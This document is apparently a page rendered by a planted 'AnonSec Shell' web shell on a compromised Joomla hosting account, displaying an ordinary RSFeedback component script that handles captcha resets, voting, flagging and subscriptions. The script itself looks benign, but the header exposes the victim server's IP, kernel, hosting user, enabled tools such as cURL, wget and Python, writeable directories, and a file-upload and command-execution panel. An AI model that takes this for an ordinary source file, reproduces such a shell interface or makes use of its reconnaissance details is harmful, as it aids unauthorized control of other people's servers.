AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/nice/media/com_rsfeedback/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/nice/media/com_rsfeedback/js//script.js
jQuery.noConflict();

var RSFeedback = {
	getRoot : function() {
		var paths = Joomla.getOptions('system.paths');
		return paths.root + '/';
	},
	loaders : [],
	ResetCaptcha : function (fieldId) {
		try {
			if (jQuery("#"+fieldId+"image").length) {
				var captcha_src = jQuery("#"+fieldId+"image").prop("src");
				
				// add/update randomTime
				if (captcha_src.indexOf('randomTime') == -1) {
					var sign = (captcha_src.indexOf('?') == -1) ? '?' : '&';
					captcha_src = captcha_src+sign+"randomTime="+ Math.random();
				} else 
					captcha_src = captcha_src.replace(/(randomTime=)[^\&]+/, '$1' + Math.random())

				jQuery("#"+fieldId+"image").prop("src", captcha_src);
				jQuery("#"+fieldId).val("");
			} else if (jQuery("[name=\'recaptcha_response_field\']").length) {
				Recaptcha.reload();
			} else {
                if (RSFeedback.loaders.length) {
                    for (var i = 0; i < RSFeedback.loaders.length; i++) {
                        grecaptcha.reset(i);
                    }
                } else {
                    // for Joomla! reCAPTCHA plugin
                    grecaptcha.reset(jQuery('#g-recaptcha-'+fieldId).data('recaptcha-widget-id'));
					if (jQuery('#g-recaptcha-'+fieldId).data('size') == 'invisible')
						grecaptcha.execute(jQuery('#g-recaptcha-'+fieldId).data('recaptcha-widget-id'));
                }
			}
		} catch (err) {}
	},
	RenderRECAPTCHAV2 : function() {
		window.setTimeout(function() {
			for (var i = 0; i < RSFeedback.loaders.length; i++) {
				var func = RSFeedback.loaders[i];
				if (typeof func == "function") {
					try {
						func();
					} catch (err) {
						if (console && typeof console.log == 'function') {
							console.log(err);
						}
					}
				}
			}
		}, 500);
	}, 
	FlagBtnToggle : function () {
		// Show hide flag reason/destination category
		jQuery('.rsfe_flag_link').click(function() {
			// change color
			jQuery(this).parents('.rsfe_flags_list').find('.rsfe_flag_link').removeClass('btn-success').addClass('btn-primary');
			jQuery(this).addClass('btn-success').removeClass('btn-primary');

			var flag_id = jQuery(this).attr('rel'), flag_form = jQuery(this).parents('form[id^="FlagForm"]');

			// toggle reason/category
			if (flag_id === '4') {
                flag_form.find('#rsfe_flag_text').css('display','none');
                flag_form.find('#rsfe_flag_category').css('display', '');
			} else {
                flag_form.find('#rsfe_flag_text').css('display', '');
                flag_form.find('#rsfe_flag_category').css('display', 'none');
			}
            flag_form.find('input[name="flag_id"]').val(flag_id);
		});
	},
	FlagDelete : function (){
		jQuery('tbody').on('click', '.rsfe_delete_flag',function() {
			if (confirm(Joomla.JText._('COM_RSFEEDBACK_FEEDBACK_CONFIRM_DELETE'))) {
				var id	 		= jQuery(this).parents('tr[id^="rsfe_flag_id"]').attr('id').replace('rsfe_flag_id','');
				var feedback_id = jQuery(this).parents('div[id^="ModerateFlags"]').attr('id').replace('ModerateFlags','')
				var data 		= 'task=feedback.deleteflag&id='+id;

				jQuery.ajax({
					dataType: 'json',
					type: 'POST',
					url: RSFeedback.getRoot() + 'index.php?option=com_rsfeedback',
					data: data,
					success: function(response) {
						if (response.success == true) {
							jQuery('#rsfe_flag_id'+id).remove();
							jQuery('#ModerateFlags'+feedback_id).find('.alert-error').addClass('hide')
						} else {
							jQuery('#ModerateFlags'+feedback_id).find('.alert-error').removeClass('hide').html(response.message);
						}
					}
				});
				return false;
			}
			return false;
		});
	},
	FeedbackMove : function (){
		jQuery('.rsfe_movefeedback').click(function() {
			var id		= jQuery(this).parents('div[id^="MoveFeedbackForm"]').attr('id').replace('MoveFeedbackForm','');
			var target	= jQuery('#MoveFeedbackForm'+id).find('#IdCategoryTarget').val();
			var data	= 'task=feedbacks.movefeedback&id='+id+'&target='+target;

			jQuery.ajax({
				dataType: 'json',
				type: 'POST',
				url: RSFeedback.getRoot() + 'index.php?option=com_rsfeedback',
				data: data,
				success: function(response) {
					if (response.success == true) {
						jQuery('#MoveFeedbackForm'+id).find('#rsfeedback_move_error').addClass('alert-success').removeClass('alert-danger').css('display', '').html(response.message);
						setTimeout(function() { 
							jQuery('.modal .modal-header button').click();
							location.reload();
						}, 2000);
					} else {
						jQuery('#MoveFeedbackForm'+id).find('#rsfeedback_move_error').addClass('alert-danger').removeClass('alert-success').css('display', '').html(response.error);
					}
				}
			});
		});
	}, 
	VoteBoxOpen : function(){
		jQuery('.rsfe_vote_link').click(function() {
			var feedback_id = jQuery(this).siblings('.rsfe_vote_popup').attr('id').substr(15);
			var data		= 'task=feedback.get_vote_popup&feedback_id='+feedback_id;

			// get allowed votes
			jQuery.ajax({
				dataType: 'json',
				type: 'POST',
				url: RSFeedback.getRoot() + 'index.php?option=com_rsfeedback',
				data: data,
				success: function(response) {
					var data_content = '';
					if (response.message_error != '') {
						 data_content = response.message_error;
					} else {
						for (i=0; i<= response.max_allowed_votes; i++) {
							if(i <= response.votes_used) var voted_class = 'btn-info';
							else var voted_class = 'btn-secondary';
							data_content += '<a rel="'+feedback_id+'" class="rsfe_send_vote btn '+( i == 0 ? 'btn-danger' : voted_class)+' btn-mini btn-sm">'+( i == 0 ? 'x' : i)+'</a>';
						}
					}
					jQuery('#rsfe_vote_link'+feedback_id).attr('data-content', data_content);
					jQuery('#rsfe_vote_link'+feedback_id).attr('data-bs-content', data_content);
					
					if (typeof bootstrap !== 'undefined' && typeof bootstrap.Popover !== 'undefined') {
						new bootstrap.Popover('#rsfe_vote_link'+feedback_id).show();
					} else {
						jQuery('#rsfe_vote_link'+feedback_id).popover('show');
					}
				}
			});
		});
	},
	VoteBoxClose : function() {
		jQuery('.popover-title').on('click', '.rsfe_close_popup', (function(){
			try { jQuery('.rsfe_vote_link').popover('dispose'); } catch(e) {}
			try { jQuery('.rsfe_vote_link').popover('destroy'); } catch(e) {}
		}));
		jQuery(document).on('click', 'body', (function(){
			try { jQuery('.rsfe_vote_link').popover('dispose'); } catch(e) {}
			try { jQuery('.rsfe_vote_link').popover('destroy'); } catch(e) {}
		}));
	},
	FeedbackVote : function() {
		// send vote
		jQuery('body').on('click', '.rsfe_send_vote', function() {
			var feedback_id = jQuery(this).attr('rel');
			var votes 		= jQuery(this).html();
			var data 		= 'task=feedback.send_votes&feedback_id='+feedback_id+	'&votes='+votes;

			jQuery.ajax({
				dataType: 'json',
				type: 'POST',
				url: RSFeedback.getRoot() + 'index.php?option=com_rsfeedback',
				data: data,
				success: function(response) {
					if (response.message_type == 'error') {
						alert(response.message);
					}

					// update the votes of feedback 
					jQuery('#rsfe_votes_no'+feedback_id).html(response.feedback_votes);
					try { jQuery('#rsfe_vote_link'+feedback_id).popover('dispose'); } catch(e) {}
					try { jQuery('#rsfe_vote_link'+feedback_id).popover('destroy'); } catch(e) {}

					if (response.user_remaining_votes == '0') 
						jQuery('#rsfe_remaining_votes').removeClass('badge-success').addClass('badge-warning');
					else 
						jQuery('#rsfe_remaining_votes').removeClass('badge-warning').addClass('badge-success');

					if (!response.user_votes_on_feedback) 
						jQuery('#rsfe_vote_link'+feedback_id).removeClass('btn-warning').addClass('btn-primary');
					else
						jQuery('#rsfe_vote_link'+feedback_id).removeClass('btn-primary').addClass('btn-warning');
					
					jQuery('#rsfe_remaining_votes').html(response.user_remaining_votes);
				}
			});
		});
	},
	FeedbackStatus : function(){
		jQuery('.rsfe_update_status').click(function() {
			var feedback_id 	= jQuery(this).parents('.rsfe_dropdown_statuses').attr('id').replace('rsfe_dropdown_statuses','');
			var status_id 		= jQuery(this).attr('id').replace('rsfe_status_id','');
			var data 			= 'task=feedbacks.updatestatus&feedback_id='+feedback_id+'&status_id='+status_id;
			var confirm_votes_removal 			= jQuery(this).attr('data-confirm');

			if (confirm_votes_removal !== undefined) {
                if (!confirm(confirm_votes_removal)) {
                	return false;
				}
			}

			jQuery.ajax({
				dataType: 'json',
				type: 'POST',
				url: RSFeedback.getRoot() + 'index.php?option=com_rsfeedback',
				data: data,
				success: function(response) {
					alert(response.message);
					location.reload();
				}
			});
			return false;
		});
	},
	FeedbackSubscribe : function(){
		jQuery('#rsfe_subscribe_submit').click(function() {
			var id	 	= jQuery(this).parents('div[id^="SubscribeForm"]').attr('id').replace('SubscribeForm','');
			var name	= jQuery('#SubscribeForm'+id).find('#SubscriberName').val();
			var email	= jQuery('#SubscribeForm'+id).find('#SubscriberEmail').val();
			var method	= jQuery('#SubscribeForm'+id).find('#SubscriberMethod').val();
			var consent	= jQuery('#SubscribeForm'+id).find('input[name=SubscriberConsent]:checked').length;

			var data 	= 'task=feedback.subscribe&id='+id+'&name='+name+'&email='+email+'&method='+method+'&consent='+consent;

			jQuery.ajax({
				dataType: 'json',
				type: 'POST',
				url: RSFeedback.getRoot() + 'index.php?option=com_rsfeedback',
				data: data,
				success: function(response) {
					if (response.success == true) {
						jQuery('#SubscribeForm'+id).find('#rsfeedback_subscribe_comment_error').addClass('alert-success').removeClass('alert-danger').css('display', '').html(response.message);
						setTimeout(function() { 
							jQuery('.modal .modal-header button').click(); 
							location.reload();
						}, 2000);
					} else {
						jQuery('#SubscribeForm'+id).find('#rsfeedback_subscribe_comment_error').addClass('alert-danger').removeClass('alert-success').css('display', '').html(response.message);
					}
				}
			});
		});
	},
    removeData : function(button) {
		jQuery(button).fadeOut({
			complete: function() {
				jQuery('#rsfeedback_remove_data_and_close_account').fadeIn();
			}
		});
	},
    requestRemoveData : function(button) {
        jQuery(button).prop('disabled', true).addClass('disabled');
        var container = jQuery('#rsfeedback_remove_data_and_close_account');

        var url = RSFeedback.getRoot() + 'index.php';
        var token = Joomla.getOptions('csrf.token');
        var data = {
            'option': 'com_rsfeedback',
            'task': 'removedata.request'
        };
        data[token] = 1;
        jQuery.post(url, data, function(response){
            container.fadeOut({
                complete: function() {
                    container.find('.alert-warning').removeClass('alert-warning').addClass('alert-info');
                    container.find('.alert').text(response);
                    container.fadeIn();
                }
            })
        });
    },
	resetMyVotes : function() {
		jQuery('#rsfe_reset_my_votes').on('click', function(){
			return confirm(Joomla.JText._('COM_RSFEEDBACK_FEEDBACKS_RESET_MY_VOTES_CONFIRM'));
		});
	}
}

jQuery(function(){
	// rendering recaptcha v2
	RSFeedback.RenderRECAPTCHAV2();

	// Flag buttons click
	RSFeedback.FlagBtnToggle();

	// Delete flags
	RSFeedback.FlagDelete();

	// Move feedback
	RSFeedback.FeedbackMove();

	// Toggle feedback votes box
	RSFeedback.VoteBoxOpen();
	RSFeedback.VoteBoxClose();

	// Vote feedback
	RSFeedback.FeedbackVote();
	// Change feedback status
	RSFeedback.FeedbackStatus();
	// Subscribe to feedback
	RSFeedback.FeedbackSubscribe();
	
	// Reset my votes button
	RSFeedback.resetMyVotes();

});

Anon7 - 2022
AnonSec Team